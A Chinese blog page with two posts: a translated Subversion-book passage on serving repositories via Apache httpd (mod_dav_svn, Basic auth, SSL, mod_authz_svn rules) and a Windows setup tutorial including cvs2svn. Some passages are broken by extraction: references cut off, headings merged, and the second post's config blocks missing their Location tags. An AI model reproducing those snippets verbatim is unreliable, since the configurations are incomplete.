关于作者

用户名:killerz
笔名:killerz
地区:
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



兄弟姐妹

音乐


我的音乐

访问统计:
文章个数:51
评论个数:9
留言条数:17




Powered by BlogDriver 2.1

寂寞的年代

 

欢迎访问fengfeng的博客

文章

配置httpd,Apache的HTTP Subversion服务器

Apache的HTTP服务器是一个Subversion可以利用的“重型”网络服务器,通过一个自定义模块,httpd可以让Subversion版本库通过WebDAV/DeltaV协议在客户端前可见,WebDAV/DeltaV协议是HTTP 1.1的扩展(见http://www.webdav.org/来查看详细信息)。这个协议利用了无处不在的HTTP协议是广域网的核心这一点,添加了写能力—更明确一点,版本化的写—能力。结果就是这样一个标准化的健壮的系统,作为Apache 2.0软件的一部分打包,被许多操作系统和第三方产品支持,网络管理员也不需要打开另一个自定义端口。 [这样一个Apache-Subversion服务器具备了许多svnserve没有的特性,但是也有一点难于配置,灵活通常会带来复杂性。

下面的讨论包括了对Apache配置指示的引用,给了一些使用这些指示的例子,详细地描述不在本章的范围之内,Apache小组维护了完美的文档,公开存放在他们的站点http://httpd.apache.org。例如,一个一般的配置参考位于http://httpd.apache.org/docs-2.0/mod/directives.html

同样,当你修改你的Apache设置,很有可能会出现一些错误,如果你还不熟悉Apache的日志子系统,你一定需要认识到这一点。在你的文件httpd.conf里会指定Apache生成的访问和错误日志(CustomLogErrorLog指示)的磁盘位置。Subversion的mod_dav_svn使用Apache的错误日志接口,你可以浏览这个文件的内容查看信息来查找难于发现的问题根源。

为了让你的版本库使用HTTP网络,你基本上需要两个包里的四个部分。你需要Apache httpd 2.0和包括的mod_dav DAV模块,Subversion和与之一同分发的mod_dav_svn文件系统提供者模块,如果你有了这些组件,网络化你的版本库将非常简单,如:

  • 配置好httpd 2.0,并且使用mod_dav启动,

  • 为mod_dav安装mod_dav_svn插件,它会使用Subversion的库访问版本库,并且

  • 配置你的httpd.conf来输出(或者说暴露)版本库。

你可以通过从源代码编译httpd和Subversion来完成前两个项目,也可以通过你的系统上的已经编译好的二进制包来安装。最新的使用Apache HTTP的Subversion的编译方法和Apache的配置方式可以看Subversion源代码树根目录的INSTALL文件。

一旦你安装了必须的组件,剩下的工作就是在httpd.conf里配置Apache,使用LoadModule来加载mod_dav_svn模块,这个指示必须先与其它Subversion相关的其它配置出现,如果你的Apache使用缺省布局安装,你的mod_dav_svn模块一定在Apache安装目录(通常是在/usr/local/apache2)的modules子目录,LoadModule指示的语法很简单,影射一个名字到它的共享库的物理位置:

LoadModule dav_svn_module     modules/mod_dav_svn.so

注意,如果mod_dav是作为共享对象编译(而不是静态链接到httpd程序),你需要为它使用使用LoadModule语句,一定确定它在mod_dav_svn之前:

LoadModule dav_module         modules/mod_dav.so
LoadModule dav_svn_module     modules/mod_dav_svn.so

在你的配置文件后面的位置,你需要告诉Apache你在什么地方保存Subversion版本库(也许是多个),位置指示有一个很像XML的符号,开始于一个开始标签,以一个结束标签结束,配合中间许多的其它配置。Location指示的目的是告诉Apache在特定的URL以及子URL下需要特殊的处理,如果是为Subversion准备的,你希望可以通过告诉Apache特定URL是指向版本化的资源,从而把支持转交给DAV层,你可以告诉Apache将所有路径部分(URL中服务器名称和端口之后的部分)以/repos/开头的URL交由DAV服务提供者处理。一个DAV服务提供者的版本库位于/absolute/path/to/repository,可以使用如下的httpd.conf语法:

<Location /repos>
  DAV svn
  SVNPath /absolute/path/to/repository
</Location>

如果你计划支持多个具备相同父目录的Subversion版本库,你有另外的选择,SVNParentPath指示,来表示共同的父目录。举个例子,如果你知道你会在/usr/local/svn下创建多个Subversion版本库,并且通过类似http://my.server.com/svn/repos1http://my.server.com/svn/repos2的URL访问,你可以用后面例子中的httpd.conf配置语法:

<Location /svn>
  DAV svn

  # any "/svn/foo" URL will map to a repository /usr/local/svn/foo
  SVNParentPath /usr/local/svn
</Location>

使用上面的语法,Apache会代理所有URL路径部分为/svn/的请求到Subversion的DAV提供者,Subversion会认为SVNParentPath指定的目录下的所有项目是真实的Subversion版本库,这通常是一个便利的语法,不像是用SVNPath指示,我们在此不必为创建新的版本库而重启Apache。

请确定当你定义新的位置,不会与其它输出的位置重叠,例如你的主要DocumentRoot/www,不要把Subversion版本库输出到<Location /www/repos>,如果一个请求的URI是/www/repos/foo.c,Apache不知道是直接到repos/foo.c访问这个文件还是让mod_dav_svn代理从Subversion版本库返回foo.c

在本阶段,你一定要考虑访问权限问题,如果你已经作为普通的web服务器运行过Apache,你一定有了一些内容—网页、脚本和其他。这些项目已经配置了许多在Apache下可以工作的访问许可,或者更准确一点,允许Apache与这些文件一起工作。Apache当作为Subversion服务器运行时,同样需要正确的访问许可来读写你的Subversion版本库。(见

你会需要检验权限系统的设置满足Subversion的需求,同时不会把以前的页面和脚本搞乱。这或许意味着修改Subversion的访问许可来配合Apache服务器已经使用的工具,或者可能意味着需要使用httpd.confUserGroup指示来指定Apache作为运行的用户和Subversion版本库的组。并不是只有一条正确的方式来设置许可,每个管理员都有不同的原因来以特定的方式操作,只需要意识到许可关联的问题经常在为Apache配置Subversion版本库的过程中被疏忽。

认证选项基本HTTP认证“授权选项”一节)来得到Require的细节,和授权政策的其他设置方法。

此时,如果你配置的httpd.conf保存如下的内容

<Location /svn>
  DAV svn
  SVNParentPath /usr/local/svn
</Location>

这样你的版本库对全世界是可以“匿名”访问的,直到你配置了一些认证授权政策,你通过Location指示来使Subversion版本库可以被任何人访问,换句话说,

  • 任何人可以使用Subversion客户端来从版本库URL取出一个工作拷贝(或者是它的子目录),

  • 任何人可以在浏览器输入版本库URL交互浏览的方式来查看版本库的最新修订版本,并且

  • 任何人可以提交到版本库。

最简单的客户端认证方式是通过HTTP基本认证机制,简单的使用用户名和密码来验证一个用户所自称的身份,Apache提供了一个htpasswd工具来管理可接受的用户名和密码,这些就是你希望赋予Subversion特别权限的用户,让我们给Sally和Harry赋予提交权限,首先,我们需要添加他们到密码文件。

$ ### First time: use -c to create the file
$ ### Use -m to use MD5 encryption of the password, which is more secure
$ htpasswd -cm /etc/svn-auth-file harry
New password: ***** 
Re-type new password: *****
Adding password for user harry
$ htpasswd -m /etc/svn-auth-file sally
New password: *******
Re-type new password: *******
Adding password for user sally
$

下一步,你需要在httpd.confLocation区里添加一些指示来告诉Apache如何来使用这些密码文件,AuthType指示指定系统使用的认证类型,这种情况下,我们需要指定Basic认证系统,AuthName是你提供给认证域一个任意名称,大多数浏览器会在向用户询问名称和密码的弹出窗口里显示这个名称,最终,使用AuthUserFile指示来指定使用htpasswd创建的密码文件的位置。

添加完这三个指示,你的<Location>区块一定像这个样子:

<Location /svn>
  DAV svn
  SVNParentPath /usr/local/svn
  AuthType Basic
  AuthName "Subversion repository"
  AuthUserFile /etc/svn-auth-file
</Location>

这个<Location>区块还没有结束,还不能做任何有用的事情,它只是告诉Apache当需要授权时,要去向Subversion客户端索要用户名和密码。我们这里遗漏的,是一些告诉Apache什么样客户端需要授权的指示。哪里需要授权,Apache就会在哪里要求认证,最简单的方式是保护所有的请求,添加Require valid-user来告诉Apache任何请求需要认证的用户:

<Location /svn>
  DAV svn
  SVNParentPath /usr/local/svn
  AuthType Basic
  AuthName "Subversion repository"
  AuthUserFile /etc/svn-auth-file
  Require valid-user
</Location>

一定要阅读后面的部分(

需要警惕:HTTP基本认证的密码是用明文传输,因此非常不可靠的,如果你担心密码偷窥,最好是使用某种SSL加密,所以客户端认证使用https://而不是http://,为了方便,你可以配置Apache为自签名认证。 [23] 参考Apache的文档(和OpenSSL文档)来查看怎样做。

SSL证书管理“客户端凭证缓存”一节。)的私有运行区auth/中,缓存后,Subversion会自动记住在以后的交流中信任这个证书。

商业应用需要越过公司防火墙的版本库访问,防火墙需要小心的考虑非认证用户“吸取”他们的网络流量的情况,SSL让那种形式的关注更不容易导致敏感数据泄露。

如果Subversion使用OpenSSL编译,它就会具备与Subversion服务器使用https://的URL通讯的能力,Subversion客户端使用的Neon库不仅仅可以用来验证服务器证书,也可以必要时提供客户端证书,如果客户端和服务器交换了SSL证书并且成功地互相认证,所有剩下的交流都会通过一个会话关键字加密。

怎样产生客户端和服务器端证书以及怎样使用它们已经超出了本书的范围,许多书籍,包括Apache自己的文档,描述这个任务,现在我们可以覆盖的是普通的客户端怎样来管理服务器与客户端证书。

当通过https://与Apache通讯时,一个Subversion客户端可以接收两种类型的信息:

  • 一个服务器证书

  • 一个客户端证书的要求

如果客户端接收了一个服务器证书,它需要去验证它是可以相信的:这个服务器是它自称的那一个吗?OpenSSL库会去检验服务器证书的签名人或者是核证机构(CA)。如果OpenSSL不可以自动信任这个CA,或者是一些其他的问题(如证书过期或者是主机名不匹配),Subversion命令行客户端会询问你是否愿意仍然信任这个证书:

$ svn list https://host.example.com/repos/project

Error validating server certificate for 'https://host.example.com:443':
 - The certificate is not issued by a trusted authority. Use the
   fingerprint to validate the certificate manually!
Certificate information:
 - Hostname: host.example.com
 - Valid: from Jan 30 19:23:56 2004 GMT until Jan 30 19:23:56 2006 GMT
 - Issuer: CA, example.com, Sometown, California, US
 - Fingerprint: 7d:e1:a9:34:33:39:ba:6a:e9:a5:c4:22:98:7b:76:5c:92:a0:9c:7b

(R)eject, accept (t)emporarily or accept (p)ermanently?

这个对话看起来很熟悉,这是你会在web浏览器(另一种HTTP客户端,就像Subversion)经常看到的问题,如果你选择(p)ermanent选项,服务器证书会存放在你存放那个用户名和密码缓存(见

你的运行中servers文件也会给你能力可以让Subversion客户端自动信任特定的CA,包括全局的或是每主机为基础的,只需要设置ssl-authority-files为一组逗号隔开的PEM加密的CA证书列表:

[global]
ssl-authority-files = /path/to/CAcert1.pem;/path/to/CAcert2.pem

许多OpenSSL安装包括一些预先定义好的可以普遍信任的“缺省的”CA,为了让Subversion客户端自动信任这些标准权威,设置ssl-trust-default-catrue

当与Apache通话时,Subversion客户端也会收到一个证书的要求,Apache是询问客户端来证明自己的身份:这个客户端是否是他所说的那一个?如果一切正常,Subversion客户端会发送回一个通过Apache信任的CA签名的私有证书,一个客户端证书通常会以加密方式存放在磁盘,使用本地密码保护,当Subversion收到这个要求,它会询问你证书的路径和保护用的密码:

$ svn list https://host.example.com/repos/project

Authentication realm: https://host.example.com:443
Client certificate filename: /path/to/my/cert.p12
Passphrase for '/path/to/my/cert.p12':  ********
…

注意这个客户端证书是一个“p12”文件,为了让Subversion使用客户端证书,它必须是运输标准的PKCS#12格式,大多数浏览器可以导入和导出这种格式的证书,另一个选择是用OpenSSL命令行工具来转化存在的证书为PKCS#12格式。

再次,运行中servers文件允许你为每个主机自动响应这种要求,单个或两条信息可以用运行参数来描述:

[groups]
examplehost = host.example.com

[examplehost]
ssl-client-cert-file = /path/to/my/cert.p12
ssl-client-cert-password = somepassword

一旦你设置了ssl-client-cert-filessl-client-cert-password参数,Subversion客户端可以自动响应客户端证书请求而不会打扰你。 [24]

授权选项整体访问控制每目录访问控制

例 6.1. 匿名访问的配置实例。

<Location /repos>
  DAV svn
  SVNParentPath /usr/local/svn

  # our access control policy
  AuthzSVNAccessFile /path/to/access/file                 
</Location>
          

例 6.2. 一个认证访问的配置实例。

<Location /repos>
  DAV svn
  SVNParentPath /usr/local/svn
            
  # our access control policy
  AuthzSVNAccessFile /path/to/access/file                 
            
  # only authenticated users may access the repository
  Require valid-user
            
  # how to authenticate a user
  AuthType Basic
  AuthName "Subversion repository"
  AuthUserFile /path/to/users/file                  
</Location>
          

例 6.3. 一个混合认证/匿名访问的配置实例。

<Location /repos>
  DAV svn
  SVNParentPath /usr/local/svn
            
  # our access control policy
  AuthzSVNAccessFile /path/to/access/file                 
            
  # try anonymous access first, resort to real 
  # authentication if necessary.
  Satisfy Any
  Require valid-user
            
  # how to authenticate a user
  AuthType Basic
  AuthName "Subversion repository"
  AuthUserFile /path/to/users/file                  
</Location>
          
关闭路径为基础的检查

例 6.4. 关闭所有的路经检查

<Location /repos>
  DAV svn
  SVNParentPath /usr/local/svn
            
  SVNPathAuthz off
</Location>            
          
额外的糖果版本库浏览其它特性附录 C, WebDAV和自动版本化来得到更多细节。

此刻,你已经配置了认证,但是没有配置授权,Apache可以要求用户认证并且确定身份,但是并没有说明这个身份的怎样允许和限制,这个部分描述了两种控制访问版本库的策略。

最简单的访问控制形式是授权特定用户为只读版本库访问或者是读/写访问版本库。

你可以通过在<Location>区块添加Require valid-user指示来限制所有的版本库操作,使用我们前面的例子,这意味着只有客户端只可以是harry或者sally,而且他们必须提供正确的用户名及对应密码,这样允许对Subversion版本库做任何事:

<Location /svn>
  DAV svn
  SVNParentPath /usr/local/svn

  # how to authenticate a user
  AuthType Basic
  AuthName "Subversion repository"
  AuthUserFile /path/to/users/file
  
  # only authenticated users may access the repository
  Require valid-user
</Location>

有时候,你不需要这样严密,举个例子,Subversion自己在http://svn.collab.net/repos/svn的源代码允许全世界的人执行版本库的只读操作(例如检出我们的工作拷贝和使用浏览器浏览版本库),但是限定只有认证用户可以执行写操作。为了执行特定的限制,你可以使用LimitLimitExcept配置指示,就像Location指示,这个区块有开始和结束标签,你需要在<Location>中添加这个指示。

LimitLimitExcept中使用的参数是可以被这个区块影响的HTTP请求类型,举个例子,如果你希望禁止所有的版本库访问,只是保留当前支持的只读操作,你可以使用LimitExcept指示,并且使用GETPROPFINDOPTIONSREPORT请求类型参数,然后前面提到过的Require valid-user指示将会在<LimitExcept>区块中而不是在<Location>区块。

<Location /svn>
  DAV svn
  SVNParentPath /usr/local/svn

  # how to authenticate a user
  AuthType Basic
  AuthName "Subversion repository"
  AuthUserFile /path/to/users/file

  # For any operations other than these, require an authenticated user.
  <LimitExcept GET PROPFIND OPTIONS REPORT>
    Require valid-user
  </LimitExcept>
</Location>

这里只是一些简单的例子,想看关于Apache访问控制Require指示的更深入信息,可以查看Apache文档中的教程集http://httpd.apache.org/docs-2.0/misc/tutorials.html中的Security部分。

也可以使用Apache的httpd模块mod_authz_svn更加细致的设置访问权限,这个模块收集客户端传递过来的不同的晦涩的URL信息,询问mod_dav_svn来解码,然后根据在配置文件定义的访问政策来裁决请求。

如果你从源代码创建Subversion,mod_authz_svn会自动附加到mod_dav_svn,许多二进制分发版本也会自动安装,为了验证它是安装正确,确定它是在httpd.confLoadModule指示中的mod_dav_svn后面:

LoadModule dav_module         modules/mod_dav.so
LoadModule dav_svn_module     modules/mod_dav_svn.so
LoadModule authz_svn_module   modules/mod_authz_svn.so

为了激活这个模块,你需要配置你的Location区块的AuthzSVNAccessFile指示,指定保存路径中的版本库访问政策的文件。(一会儿我们将会讨论这个文件的格式。)

Apache非常的灵活,你可以从三种模式里选择一种来配置你的区块,作为开始,你选择一种基本的配置模式。(下面的例子非常简单;见Apache自己的文档中的认证和授权选项来查看更多的细节。)

最简单的区块是允许任何人可以访问,在这个场景里,Apache决不会发送认证请求,所有的用户作为“匿名”对待。

在另一个极端,你可以配置为拒绝所有人的认证,所有客户端必须提供证明自己身份的证书,你通过Require valid-user指示来阻止无条件的认证,并且定义一种认证的手段。

第三种流行的模式是允许认证和匿名用户的组合,举个例子,许多管理员希望允许匿名用户读取特定的版本库路径,但希望只有认证用户可以读(或者写)更多敏感的区域,在这个设置里,所有的用户开始时用匿名用户访问版本库,如果你的访问控制策略在任何时候要求一个真实的用户名,Apache将会要求认证客户端,为此,你可以同时使用Satisfy AnyRequire valid-user指示。

一旦你的基本Location区块已经配置了,你可以创建一个定义一些授权规则的访问文件。

访问文件的语法与svnserve.conf和运行中配置文件非常相似,以(#)开头的行会被忽略,在它的简单形式里,每一小节命名一个版本库和一个里面的路径,认证用户名是在每个小节中的选项名,每个选项的值描述了用户访问版本库的级别:r(只读)或者rw(读写),如果用户没有提到,访问是不允许的。

具体一点:这个小节的名称是[repos-name:path]或者[path]的形式,如果你使用SVNParentPath指示,指定版本库的名字是很重要的,如果你漏掉了他们,[/some/dir]部分就会与/some/dir的所有版本库匹配,如果你使用SVNPath指示,因此在你的小节中只是定义路径也很好—毕竟只有一个版本库。

[calc:/branches/calc/bug-142]
harry = rw
sally = r

在第一个例子里,用户harrycalc版本库中/branches/calc/bug-142具备完全的读写权利,但是用户sally只有读权利,任何其他用户禁止访问这个目录。

当然,访问控制是父目录传递给子目录的,这意味着我们可以为Sally指定一个子目录的不同访问策略:

[calc:/branches/calc/bug-142]
harry = rw
sally = r

# give sally write access only to the 'testing' subdir
[calc:/branches/calc/bug-142/testing]
sally = rw

现在Sally可以读取分支的testing子目录,但对其他部分还是只可以读,同时,Harry对整个分支还继续有完全的读写权限。

也可以通过继承规则明确的的拒绝某人的访问,只需要设置用户名参数为空:

[calc:/branches/calc/bug-142]
harry = rw
sally = r

[calc:/branches/calc/bug-142/secret]
harry =

在这个例子里,Harry对bug-142目录树有完全的读写权限,但是对secret子目录没有任何访问权利。

有一件事需要记住的是需要找到最匹配的目录,mod_authz_svn模块首先找到匹配自己的目录,然后父目录,然后父目录的父目录,就这样继续下去,更具体的路径控制会覆盖所有继承下来的访问控制。

缺省情况下,没有人对版本库有任何访问,这意味着如果你已经从一个空文件开始,你会希望给所有用户对版本库根目录具备读权限,你可以使用*实现,用来代表“所有用户”:

[/]
* = r

这是一个普通的设置;注意在小节名中没有提到版本库名称,这让所有版本库对所有的用户可读,不管你是使用SVNPath或是SVNParentPath。当所有用户对版本库有了读权利,你可以赋予特定用户对特定子目录的rw权限。

星号(*)参数需要在这里详细强调:这是匹配匿名用户的唯一模式,如果你已经配置了你的Location区块允许匿名和认证用户的混合访问,所有用户作为Apache匿名用户开始访问,mod_authz_svn会在要访问路径的定义中查找*值;如果找不到,Apache就会要求真实的客户端认证。

访问文件也允许你定义一组的用户,很像Unix的/etc/group文件:

[groups]
calc-developers = harry, sally, joe
paint-developers = frank, sally, jane
everyone = harry, sally, joe, frank, sally, jane

组可以被赋予通用户一样的访问权限,使用“at”(@)前缀来加以区别:

[calc:/projects/calc]
@calc-developers = rw

[paint:/projects/paint]
@paint-developers = rw
jane = r 

...并且非常接近。

mod_dav_svn模块做了许多工作来确定你标记为“不可读”的数据不会因意外而泄露,这意味着需要紧密监控通过svn checkout或是svn update返回的路径和文件内容,如果这些命令遇到一些根据认证策略不是可读的路径,这个路径通常会被一起忽略,在历史或者重命名操作时—例如运行一个类似svn cat -r OLD foo.c的命令来操作一个很久以前改过名字的文件 — 如果一个对象的以前的名字检测到是只读的,重命令追踪就会终止。

所有的路径检查在有时会非常昂贵,特别是svn log的情况。当检索一列修订版本时,服务器会查看所有修订版本修改的路径,并且检查可读性,如果发现了一个不可读路径,它会从修订版本的修改路径中忽略(可以查看--verbose选项),并且整个的日志信息会被禁止,不必多说,这种影响大量文件修订版本的操作会非常耗时。这是安全的代价:即使你并没有配置mod_authz_svn模块,mod_dav_svn还是会询问httpd来对所有路径运行认证检查,mod_dav_svn模块没有办法知道那个认证模块被安装,所以只有询问Apache来调用所提供的模块。

在另一方面,也有一个安全舱门允许你用安全特性来交换速度,如果你不是坚持要求有每目录授权(如不使用 mod_authz_svn和类似的模块),你就可以关闭所有的路径检查,在你的httpd.conf文件,使用SVNPathAuthz指示:

SVNPathAuthz指示缺省是打开的,当设置为“off”时,所有的路径为基础的授权都会关闭;mod_dav_svn停止对每个目录调用授权检查。

我们已经覆盖了关于认证和授权的Apache和mod_dav_svn的大多数选项,但是Apache还提供了许多很好的特性。

一个非常有用的好处是使用Apache/WebDAV配置Subversion版本库时可以用普通的浏览器察看最新的版本库文件,因为Subversion使用URL来鉴别版本库版本化的资源,版本库使用的HTTP为基础的URL也可以直接输入到Web浏览器中,你的浏览器会发送一个GET请求到URL,根据访问的URL是指向一个版本化的目录还是文件,mod_dav_svn会负责列出目录列表或者是文件内容。

因为URL不能确定你所希望看到的资源的版本,mod_dav_svn会一直返回最新的版本,这样会有一些美妙的副作用,你可以直接把Subversion的URL传递给文档作为引用,这些URL会一直指向文档最新的材料,当然,你也可以在别的网站作为超链使用这些URL。

你通常会在版本化的文件的URL之外得到更多地用处—毕竟那里是有趣的内容存在的地方,但是你会偶尔浏览一个Subversion的目录列表,你会很快发现展示列表生成的HTML非常基本,并且一定没有在外观上(或者是有趣上)下功夫,为了自定义这些目录显示,Subversion提供了一个XML目录特性,一个单独的SVNIndexXSLT指示在你的httpd.conf文件版本库的Location块里,它将会指导mod_dav_svn在显示目录列表的时候生成XML输出,并且引用你选择的XSLT样式表文件:

<Location /svn>
  DAV svn
  SVNParentPath /usr/local/svn
  SVNIndexXSLT "/svnindex.xsl"
  …
</Location>

使用SVNIndexXSLT指示和创建一个XSLT样式表,你可以让你的目录列表的颜色模式与你的网站的其它部分匹配,否则,如果你愿意,你可以使用Subversion源分发版本中的tools/xslt/目录下的样例样式表。记住提供给SVNIndexXSLT 指示的路径是一个URL路径—浏览器需要阅读你的样式表来利用它们!

Apache作为一个健壮的Web服务器的许多特性也可以用来增加Subversion的功能性和安全性,Subversion使用Neon与Apache通讯,这是一种一般的HTTP/WebDAV库,可以支持SSL和Deflate压缩(是gzipPKZIP程序用来“压缩”文件为数据块的一样的算法)之类的机制。你只需要编译你希望Subversion和Apache需要的特性,并且正确的配置程序来使用这些特性。

Deflate压缩给服务器和客户端带来了更多地负担,压缩和解压缩减少了网络传输的实际文件的大小,如果网络带宽比较紧缺,这种方法会大大提高服务器和客户端之间发送数据的速度,在极端情况下,这种最小化的传输会造成超时和成功的区别。

不怎么有趣,但同样重要,是Apache和Subversion关系的一些特性,像可以指定自定义的端口(而不是缺省的HTTP的80)或者是一个Subversion可以被访问的虚拟主机名,或者是通过代理服务器访问的能力,这些特性都是Neon所支持的,所以Subversion轻易得到这些支持。

最后,因为mod_dav_svn是使用一个半完成的WebDAV/DeltaV方言,所以通过第三方的DAV客户端访问也是可能的,几乎所有的现代操作系统(Win32、OS X和Linux)都有把DAV服务器影射为普通的网络“共享”的内置能力,这是一个复杂的主题;察看



[22] 他们讨厌这样做。

[23] 当使用自签名的服务器时仍会遭受“中间人”攻击,但是与偷取未保护的密码相比,这样的攻击比一个偶然的获取要艰难许多。

[24] 更多有安全意识的人不会希望在运行中servers文件保存客户端证书密码。

- 作者: killerz 2005年12月28日, 星期三 16:08  回复(1) |  引用(0) 加入博采

充分发掘Subversion的资源库共享功能

在上一篇文章《用Subversion构建版本控制环境》中,我们就Subversion的特性、安装以及如何通过各种客户端来操作资源库进行了详细的介绍。文章中Subversion是以独立的服务方式运行,我们必须借住一些特定的客户端,例如Subvresion本身提供的客户端命令行程序、Eclipse插件以及集成在Windows资源管理器的TortoiseSVN工具。这些工具对于开发者而言当然是必须的,但是当我们有需要将资源库发布在互联网上的时候,就会让我们的用户操作起来非常不方便,用户可能仅仅是需要浏览一下项目,却要他安装一堆程序,这难免让人觉得繁琐。

怎么让我们的用户可以通过一些常用的程序例如资源管理器或者是浏览器就可以方便的浏览Subversion的资源库呢?因此本文将充分的发掘Subversion在资源库共享方面的功能,同时对Subversion在权限控制方面的内容进行详细的介绍,同时也将详细介绍如何将已有的CVS资源库转到Subversion上来。

我们曾经提到过Subversion相比较而言在共享方面的功能是大大的超过了CVS系统,它可以通过Apache服务器提供基于WebDAV/DeltaV协议的支持。有了它你就可以通过资源管理器或者浏览器对资源库进行浏览以及操作。接下来我们将详细介绍如何安装并使用这个功能。(本文的所有软件的安装都是在Windows系统下进行)

1. 安装Apache HTTP服务器

http://httpd.apache.org下载最新的Apache服务器2.0.54版本的Windows安装程序apache_2.0.54-win32-x86-no_ssl.msi,下载完毕直接安装,使用默认设置进行安装即可,安装过程不再累赘。安装完毕后使用浏览器打开网址http://localhost 检查安装是否成功完成。

如果Apache无法启动请检查是否机器上已经装有IIS,把IIS停掉后再启动Apache服务进行测试。

2. 安装Subversion

Subversion的安装已经在上一篇文章中详细的介绍过了,如果你还不知道怎么安装Subversion请参照《用Subversion构建版本控制环境》。请确保将{subversion}\bin目录是否在系统的PATH变量中存在,如果不存在请加上。

有一点需要说明的是,使用跟Apache HTTP服务器结合的方式,你无需再启动SVNService服务。

3. 配置Apache HTTP服务器

首先在Subversion的安装目录下的bin子目录找到这样两个文件mod_dav_svn.so和mod_authz_svn.so,将这两个文件复制到Apache安装目录下的modules子目录,另外还有四个文件分别是intl3_svn.dll、libdb43.dll、libeay32.dll、ssleay32.dll,把这四个文件拷贝到subversion的bin目录或者是modules目录。

打开Apache的配置文件httpd.conf,我们需要在该配置文件中通过LoadModule指令来加载Subversion的DAV模块,例如下面一行信息。

LoadModule dav_svn_module modules/mod_dav_svn.so

需要注意的是,因为Apache本身带有mod_dav模块,如果你的Apache中这个模块是动态 加载的而不是直接编译进Apache的可执行文件中的话,你应该确保上面的指令在mod_dav模块后面进行加载,默认的情况下mod_dav模块是不启用的,你需要把它前面的注释去掉,如下:

LoadModule dav_module modules/mod_dav.so
LoadModule dav_svn_module modules/mod_dav_svn.so

同时另外一个模块mod_authz_svn模块也需要进行加载,可以把它放置在mod_dav_svn后,例如:

LoadModule dav_module modules/mod_dav.so
LoadModule dav_svn_module modules/mod_dav_svn.so
LoadModule authz_svn_module modules/mod_authz_svn.so

接下来我们必须告诉Apache我们的资源库所在的路径,可以通过Location指令来完成这个设置。因为不希望为每个单独的项目都进行单独的设置,所以我们把所有项目都存放在统一的资源库目录,那么可以使用SVNParentPath指令来指定存放所有项目的路径。在httpd.conf文件最后添加下面配置:


    DAV svn
    SVNParentPath d:/svn/repository

这样我们就可以通过http://myhost/svn/<项目名> 来访问存放于资源库d:/svn/repository中的指定项目。当然有可能你并不希望某个项目提供这样一种访问方式,这时候你可以使用SVNPath为每个项目进行单独的设置,SVNPath的使用方法如下:


    DAV svn
    SVNPath d:/svn/repository/project1

同样把这段配置放在httpd.conf最后,重启Apache HTTP服务即可通过http://myhost/svn/project1 来访问project1项目的资源库。

应该提醒的是,所有的这些访问都是匿名的,任何用户只要能访问这台机器都可以访问你所设定的资源库,他可以对项目进行浏览、检出或者是提交,我相信你肯定不希望发生这样的事情,接下来我们将介绍如何做好访问的权限控制。

现在我们先试着用Subversion自带的客户端提交一个项目以便于接下来的测试,随便弄一个项目,执行下列命令将项目加到资源库中。

输入:svn import . http://localhost/svn -m "test"
输出:svn: PROPFIND request failed on '/svn'svn: PROPFIND of '/svn': 403
Forbidden (http://localhost)

怎么回事?403 Forbidden?原因是我们必须先给项目创建资源库,D:\svn\repository只是我们存放所有项目的目录,我们必须在这个目录下创建要提交项目的资源库。使用下面命令先给项目创建好资源库

svnadmin create d:\svn\repository\project1

再次执行import命令后,就可以成功的导入项目。打开浏览器输入网址:http://localhost/svn/project1 看看你刚提交了什么:)

现在我们回顾一下新建一个项目的过程:首先必须使用svnadmin工具创建项目的资源库,然后再导入项目文件。

4. 访问用户的身份验证

在确定对访问用户的权限控制之前,你必须规划好是对整个资源库中的所有项目还是单独的某一个项目进行统一的身份验证, 也就是我们前面讲到的是使用SVNParentPath还是SVNPath的问题。

最简单的身份验证方式是使用Basic HTTP Authentication机制,该方式通过用户名和口令对访问用户进行身份验证。我们可以直接通过Apache提供的支持进行设置。Apache提供一个htpasswd工具来管理用户名和口令。接下来我们利用这个工具来添加两个用户。

在命令行窗口中转到Apache所在的目录,假设是 D:\Apache\bin,执行下列命令

说明:创建用户liudong1
输入:htpasswd –cm D:\svn\svn_auth_passwd liudong1
说明:使用-c参数来创建一个passwd文件
输出:
New password: *****
Re-type new password: *****
Adding password for user liudong1
说明:创建用户liudong2
输入:htpasswd –m D:\svn\svn_auth_passwd liudong2
说明:passwd文件已经创建,无需再使用-c参数
输出:
New password: *****
Re-type new password: *****
Adding password for user liudong2

打开D:\svn\svn_auth_passwd文件,密码使用MD5加密过了,而且同样的密码加密出来的内容却不相同,估计跟用户名也是有一点关系,内容如下:

liudong1:$apr1$5G3.....$x5jgK.sGp/Y3EFSXGMtoE.
liudong2:$apr1$cG3.....$IM5m73cqw8N8ZsMcJnKeX.

接下来我们必须告诉Apache服务器如何使用这个passwd文件,打开httpd.conf找到刚才我们添加的Location配置的位置,修改如下:


DAV svn
SVNParentPath d:/svn/repository
AuthType Basic
AuthName "Subversion repository"
AuthUserFile d:/svn/svn_auth_passwd
Require valid-user

重新启动Apache HTTP服务器,使用浏览器打开 http://localhost/svn/project1 你将会看到要求登录的对话框如下图所示(我所使用的是Opera 8浏览器),输入你刚设置的用户名和口令即可。

这就是利用Basic HTTP Authentication机制对用户进行访问控制的方法。你还可以使用SSL证书管理来加强Subversion的安全性(HTTPS的配置属于Apache HTTP服务器的范畴,请参照Apache的文档),甚至你可以对设置对某些操作才需要验证用户的身份以及赋予不同用户对不同目录的操作权限,以及如何使用Windows的域帐号进行身份的验证。这些内容可以参考Subversion提供的文档svn-book.pdf的第六章——服务器配置。

以上介绍的是Subversion跟Apache结合提供基于HTTP方式的共享功能以及如何对用户进行身份的验证。接下来我们介绍大部分CVS用户非常关系的——如何将现有的CVS资源库移植到Subversion下。

我们可以通过一个cvs2svn的工具来将CVS资源库转到Subversion服务器上。Cvs2svn是一个用Python写的转换脚本,它的作用是用来一次性的从CVS转到Subversion,你不要指望它帮你同步CVS和Subversion资源库。如果你并不需要项目的一些历史修改信息,那么你最好先从CVS获取最新版本,然后提交到Subversion资源库中,这是最简单直接而有效的方法。如果你需要保留CVS意见的所有修改记录,那么接下来我们就是介绍如何通过cvs2svn来转换你的资源库。

首先我们需要安装Python,因为cvs2svn是用Python写的一些脚本。到 http://www.python.org/download/ 下载最新版本的Python for Windows的安装程序python-2.4.1.msi,按照默认的方式安装Python,假设安装目录是C:\Python。接下来下载cvs2svn,下载地址是:http://cvs2svn.tigris.org/servlets/ProjectDocumentList?folderID=2976,用WinRAR解压到任一个目录下。打开命令行窗口转到cvs2svn所在的目录先测试一下python,执行C:\python\python cvs2svn,这时候会输出cvs2svn的帮助信息。

